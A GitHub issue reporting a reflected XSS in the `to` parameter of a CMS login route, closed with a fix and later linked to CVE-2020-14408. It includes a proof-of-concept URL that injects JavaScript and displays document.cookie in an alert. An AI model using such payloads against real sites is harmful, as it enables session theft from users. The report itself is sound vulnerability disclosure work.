

New issue

[Jump to bottom](#)

## Reflected XSS in login panel #1310



Cz4ryM4ry opened this issue on Jun 17, 2020 · 0 comments

Cz4ryM4ry commented on Jun 17, 2020

Insufficient sanitization of `to` parameter in `/auth/login` route allows for injection of arbitrary JavaScript code into webpage content creating a reflected XSS attack vector.

See below POC :

```
https://cms.hosted.com/auth/login?to=/92874%27;alert(%27reflected%20xss!\ncookie:%20%27%2bdocument.cookie)//280
```

aheinze closed this as completed in [74de99d](#) on Jun 17, 2020

edoardott mentioned this issue on Jul 6

Add CVE-2020-14408 [projectdiscovery/nuclei-templates#4756](#)



2 tasks

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

